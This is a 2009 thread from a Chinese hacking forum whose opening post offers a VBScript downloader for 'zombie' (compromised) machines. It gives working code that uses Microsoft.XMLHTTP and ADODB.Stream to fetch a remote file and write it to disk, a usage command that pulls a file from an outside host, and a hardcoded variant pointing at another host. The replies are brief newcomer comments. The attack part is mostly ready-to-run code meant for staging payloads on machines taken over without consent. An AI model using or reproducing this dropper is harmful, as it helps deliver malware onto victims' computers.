【3.A.S.T】网络安全爱好者 » 初入江湖 » 让肉鸡下载东西的vbs脚本

返回列表发帖

Rank: 11

帖子: 394
积分: 845
威望: 1072
金钱: 1070
在线时间: 56 小时

管理组高手勋章 VIP会员核心成员原创奖章贡献奖内部成员灌水王帅哥勋章支持奖章突出贡献奖优秀版主优质人品奖章论坛元老管理组成员技术组成员

1楼 跳转到 » 倒序看帖

字体大小: tT

发表于 2009-1-24 17:30 | 只看该作者

让肉鸡下载东西的vbs脚本

vbs, 脚本, 肉鸡, 下载

让肉鸡下载东西的vbs脚本
iLocal  = LCase(WScript.Arguments(1))
iRemote = LCase(WScript.Arguments(0))
Set xPost = CreateObject("Microsoft.XMLHTTP")

xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2

让肉鸡下载东西的vbs脚本

wscript c:\down.vbs http://www.kill-v.com/22.txt c:\1.txt

http://bbs.5149417.cn

iLocal  ="c:\1.txt"
iRemote ="http://www.kyospace.com/22.txt"
Set xPost = CreateObject("Microsoft.XMLHTTP")
xPost.Open "GET",iRemote,0
xPost.Send()
Set sGet = CreateObject("ADODB.Stream")
sGet.Mode = 3
sGet.Type = 1
sGet.Open()
sGet.Write(xPost.responseBody)
sGet.SaveToFile iLocal,2

Aim、Ambition、Action Security Team

Just For the Security . . . . . . .

The way to hacking. . . ■■■■■98%

3.A.S.T士兵

Rank: 1

帖子: 17
积分: 18
威望: 19
金钱: 19
在线时间: 0 小时

2楼

发表于 2009-1-24 17:30 | 只看该作者

直接用记事本编译 .VBE 文件就行了么?:time:

3.A.S.T士兵

Rank: 1

帖子: 15
积分: 21
威望: 15
金钱: 21
在线时间: 3 小时

3楼

发表于 2009-5-12 19:02 | 只看该作者

太菜了看不懂！

3.A.S.T少尉

Rank: 2

帖子: 63
积分: 86
威望: 77
金钱: 102
在线时间: 8 小时

4楼

发表于 2009-5-15 15:17 | 只看该作者

顶顶顶！
看看看！！

3.A.S.T少尉

Rank: 2

帖子: 67
积分: 118
威望: 100
金钱: 15
在线时间: 17 小时

5楼

发表于 2010-1-31 01:34 | 只看该作者

學習學習學習!!!!!!!!!!

3.A.S.T士兵

Rank: 1

帖子: 21
积分: 40
威望: 47
金钱: 58
在线时间: 3 小时

6楼

发表于 2010-4-12 13:52 | 只看该作者

看不懂、我也是菜鸟、。